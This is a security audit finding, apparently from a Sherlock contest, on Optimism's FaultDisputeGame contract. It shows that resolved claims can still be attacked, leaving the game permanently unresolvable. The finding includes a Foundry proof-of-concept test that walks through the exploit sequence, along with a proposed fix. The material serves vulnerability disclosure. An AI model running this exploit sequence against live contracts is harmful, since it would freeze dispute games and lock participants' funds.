Calm Onyx Pheasant

high

# Resolved claims can still be attacked, rendering the game permanently unsolvable.

## Summary

Resolved claims can still be attacked, rendering the game permanently unsolvable.

## Vulnerability Detail

In the function move, there is a check for nextDuration which can’t exceed GAME_DURATION / 2.

```solidity
// Compute the duration of the next clock. This is done by adding the duration of the
// grandparent claim to the difference between the current block timestamp and the
// parent's clock timestamp.
Duration nextDuration = Duration.wrap(
    uint64(
        // First, fetch the duration of the grandparent claim.
        grandparentClock.duration().raw()
        // Second, add the difference between the current block timestamp and the
        // parent's clock timestamp.
        + block.timestamp - parent.clock.timestamp().raw()
    )
);

// INVARIANT: A move can never be made once its clock has exceeded `GAME_DURATION / 2`
//            seconds of time.
if (nextDuration.raw() > GAME_DURATION.raw() >> 1) revert ClockTimeExceeded();
```

In the function resolveClaim, there is also a check to ensure that the claim can not be resolved until more than halfway through the game.

```solidity
// INVARIANT: Cannot resolve a subgame unless the clock of its root has expired
uint64 parentClockDuration = parent.clock.duration().raw();
uint64 timeSinceParentMove = uint64(block.timestamp) - parent.clock.timestamp().raw();
if (parentClockDuration + timeSinceParentMove <= GAME_DURATION.raw() >> 1) {
    revert ClockNotExpired();
}
```

However, user can still attack the claim after it is resolved, allowing the claim to own the subgame again. Since the claim has been resolved, it cannot be resolved again (the function _distributeBond will revert). At the same time, as this claim has subgames, its parent claim will not be resolved. Eventually, the game will become permanently unsolvable.

The following is a practical case (please put it in FaultDisputeGame.t.sol):

```solidity
function test_resolve_fail() public {
    uint256 bal = 100 ether;
    vm.deal(address(this), bal);

    gameProxy.attack{ value: _getRequiredBond(0) }(0, _dummyClaim());
    vm.warp(block.timestamp + 12 hours);
    gameProxy.attack{ value: _getRequiredBond(1) }(1, _dummyClaim());

    Clock claim1clock;
    (, , , , , , claim1clock) = gameProxy.claimData(1);
    console.log("claim1duration:", claim1clock.duration().raw()); // 0

    Clock claim2clock;
    (, , , , , , claim2clock) = gameProxy.claimData(2);
    console.log("claim2duration:", claim2clock.duration().raw()); // 12 hours

    vm.warp(block.timestamp + 3 days + 1 seconds);
    gameProxy.resolveClaim(2);

    // nextDuration = grandparentClock.duration().raw() + block.timestamp - parent.clock.timestamp().raw()
    //              = claim1duration + 3 days + 1 seconds
    //              = 3 days + 1 seconds < GAME_DURATION / 2
    gameProxy.attack{ value: _getRequiredBond(2) }(2, _dummyClaim());

    Clock claim3clock;
    (, , , , , , claim3clock) = gameProxy.claimData(3);
    console.log("claim3duration:", claim3clock.duration().raw()); // 3 days + 1s

    // failed!!! as claimData[2] has a subgame
    gameProxy.resolveClaim(1); 
    gameProxy.resolveClaim(0);
    gameProxy.resolve();
}
```

![image](https://github.com/sherlock-audit/2024-02-optimism-2024-zrax-x/assets/52646245/ce58faa8-5ef2-40e0-97c0-c6a61c4b8d37)


Firstly, user attacks the root claim at 0 clock. It’s duration will be 0 (claim1duration).

Then, after 12 hours, user attacks the claimData[1]. It’s duration will be 12 hours (claim2duration).

Then, after 3 days + 1 seconds, the claimData[2] is resolvable (parentClockDuration + timeSinceParentMove = 3 days + 12 hours + 1 seconds).

However, user can still attack the claimData[2] after claimData[2] is resolved, as the nextDuration is 3 days + 1 seconds which doesn’t exceed the GAME_DURATION / 2.

Finally, claimData[1] will be unsolvable as claimData[2] has a subgame.

## Impact

Game will be permanently unsolvable

## Code Snippet

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L272-L280

https://github.com/sherlock-audit/2024-02-optimism-2024/blob/main/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L412-L416

## Tool used

Manual Review

## Recommendation

When the claim is resolved, make it unattackable and undefendable.

One way is to modify the way nextDuration is calculated. Use the parent's duration instead of the grandparent’s.

```solidity
Duration nextDuration = Duration.wrap(
    uint64(
        // First, fetch the duration of the parent claim.
        parent.clock.duration().raw()
        // Second, add the difference between the current block timestamp and the
        // parent's clock timestamp.
        + block.timestamp - parent.clock.timestamp().raw()
    )
);
```